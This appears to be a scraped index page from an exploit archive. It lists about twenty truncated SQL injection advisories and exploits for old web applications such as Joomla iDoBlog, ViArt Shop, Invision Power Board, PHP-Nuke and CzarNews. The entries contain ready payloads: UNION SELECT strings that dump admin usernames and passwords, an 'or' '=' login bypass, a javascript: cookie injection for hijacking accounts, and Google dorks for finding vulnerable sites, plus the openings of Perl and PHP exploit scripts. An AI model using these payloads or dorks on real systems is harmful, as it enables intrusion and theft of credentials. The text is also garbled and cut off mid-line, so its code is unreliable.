Joomla Component iDoBlog <= b24 Remote SQL Injection Vulnerability

No description provided by source. Joomla Component idoblog Remote SQL Injection Founded by : His0k4 Algerian HaCkeR; Contact: His0k4.hlmatgmail.com Greetz : All friends & muslims HaCkeRs : Greetz2 : http://www.palcastle.org/cc/ ScriptName: Joomla ComponentName: comidoblog DORK: inurl:comidoblog...

fipsCMS light <= 2.1 (r) Remote SQL Injection Vulnerability

No description provided by source. Exploit Code: victim/path/home/index.asp?w=pages&r=9999999 union select all 0,username,null,0x1 from admin victim/path/home/index.asp?w=pages&r=9999999 union select all 0,password,null,0x1 from admin http://localhost:2222/lab/cms/admin...

ViArt Shop <= 3.5 (category_id) Remote SQL Injection Vulnerability

No description provided by source. GulfTech Security Research July 28, 2008 Vendor : ViArt, Ltd URL : http://www.viart.com/ Version : ViArt Shop = 3.5 Risk : SQL Injection Description: ViArt Shop is a full featured online ecommerce solution written in php. There is a high risk SQL Injection in...

TLM CMS 3.2 - Multiple Remote SQL Injection Vulnerabilities

No description provided by source. TLM CMS v3.2 - Multiple Remote SQL Injection Vulnerabilities Vendor : http://tlm.hebserv.fr/ Download : http://tlm.hebserv.fr/modfile/upload/tlmcms32.zip Ditemukan oleh : k1tk4t - k1tk4t4tnewhack.org Lokasi : Indonesia -- newhackdotorg @ irc.dal.net Kutu pada...

Invision Power Board 2.1 <= 2.1.6 - Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...

E.Z. Poll 2 - (Auth Bypass) Remote SQL Injection Vulnerability

No description provided by source. Description: E.Z. Poll = v.2 script Remote SQL injection Exploit discovered by t0fx aka xtof69 vendor : E.Z. vulnerable page : http://www.site.com/admin/login.asp exploit : Username : 'or' '=' Password : 'or' '=' Add, modify user : /admin/admin-users.asp...

FlexBB <= 0.6.3 Cookies Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = UnderWHAT?! ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'FlexBB =...

QuickEStore <= 8.2 (insertorder.cfm) Remote SQL Injection Vulnerability

No description provided by source. author:meoconxatvnbrain.net web application:QuickEStore Main Page:www.quickestore.com bug: sql injection at insertorder.cfm?CFID=123&CFTOKEN=1' exploit: http://www.xxx.com/insertorder.cfm?CFID=123&CFTOKEN=1sql query get admin password:...

phpTrafficA <= 1.4.2 (pageid) Remote SQL Injection Vulnerability

No description provided by source. Application: phpTrafficA = 1.4.2 Web Site: http://soft.zoneo.net/phpTrafficA/ Versions: all Platform: linux, windows Bug: injection sql ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Credits =========== 1...

Webyapar 2.0 - Multiple Remote SQL Injection Vulnerabilities

No description provided by source. /$$$$$$$$$$$////$$$$$$$$$$$///////////////$$$$$$$$$$$$$$$//$$$$$$$$$$$$$$$/ ////////$$$$$$$$//////////$$$$$$$$/////////////////$$$$$//$$$$/////////////$$$$////////////...

DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability

No description provided by source. Script : DS CMS 1.0 NewsId Remote SQL Injection Vulnerability Script site : http://cms.dsinternal.com/Home AUTHOR : Palyo34 HOME : http://www.1923turk.biz ======================================================= +++++++++++++++++++++++ Exploit...

PHP-Nuke My_eGallery <= 2.7.9 - Remote SQL Injection Vulnerability

No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- Shoutz: Aura, Null, imm02tal, Kinglet, and our staff PHP-Nuke MyeGallery gid Remote SQL Injection Dork: inurl:modules.php?name=MyeGallery...

jPORTAL <= 2.3.1 articles.php Remote SQL Injection Vulnerability

No description provided by source. Title:jPORTAL = 2.3.1 and Remote SQL Injection Vulnerability Dork: intext:jPORTAL 2 & inurl:articles.php?topic= Autor: Alexsize E-Mail: [email protected] Site: Antichat.ru articles.php?topic=-3+union+select+1,pass,3,4,5+from+admins/ Vuln code: function topicname$...

CzarNews <= 1.20 (Account Hijacking) Remote SQL Injection Vuln

首先登陆一个CzarNews 1.20 版本的网站。 2. 打开登陆页面,然后在地址栏中输入 javascript:document.cookie="recook=' or ''=',' or ''='";void0; 随后刷新页面，接下来见证奇迹，你会惊奇的发现你处于了登陆状态。 3. 如果你输入以下代码在URL当中 javascript:c=document.cookie;p=c.substrc.lastIndexOf'='+1.split/%../;a lert"Login: " + p0 + "\nPass: " + p1;void0;...

paBugs <= 2.0 Beta 3 (main.php cid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 4 usage; exit; $host = $ARGV0; Host $path = $ARGV1; Path to paBugs directory $pref = $ARGV2; prefix for admin tables $usid = $ARGV3; user id $www = new LWP::UserAgent; $sql =...

OpenLD <= 1.2.2 (index.php id) Remote SQL Injection Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ OpenLD = 1.2.2 SQL Injection Exploit +==-- --==+================================================================================+==-- DISCOVERED BY: Cody CypherXero...

Tribisur <= 2.0 - Remote SQL Injection Exploit

No description provided by source. !/usr/bin/php -q ?php echo Tribisur = 2.0 Remote SQL Injection Exploit\r\n; echo Coded by x0kster -x0ksterATgmailDOTcom - \r\n; / Script Download : http://www.comscripts.com/scripts/php.tribisur-20.1211.html Bug 1 in modules/forum/liste.php : First, this bugged...

PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl 0day exploit for PHP-nuke =8.0 Final Sql injection attack in INSERT syntax version for every basePostgreSQL,mssql... except MySQL base Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke =8.0 Final Sql injection atta...

makit Newsposter Script 3.0 - Remote SQL Injection Vulnerability

No description provided by source. Title : makit news/blog poster =v3newspage.asp Remote SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.makit.net $$ : Free SQL--------------------------------------------------------- http://target/path//newspage.asp?uid=SQL Example:...

TriO <= 2.1 (browse.php id) Remote SQL Injection Vulnerability

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP YmmMMMM MMM YM Discovered by dun \ dunatstrcpy.pl TriO = 2.1 Remote SQL Injection Vulnerability Script: TriO, iO's new web-based module, enables you to...